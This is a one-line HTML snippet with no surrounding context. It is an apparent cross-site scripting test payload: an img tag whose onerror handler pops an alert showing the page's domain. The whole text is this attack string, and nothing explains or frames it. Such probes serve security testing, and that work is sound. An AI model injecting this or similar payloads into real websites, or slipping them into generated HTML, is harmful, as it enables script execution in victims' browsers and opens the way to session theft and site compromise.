<img scr=x onerror=alert('XSS:' +document.domain);>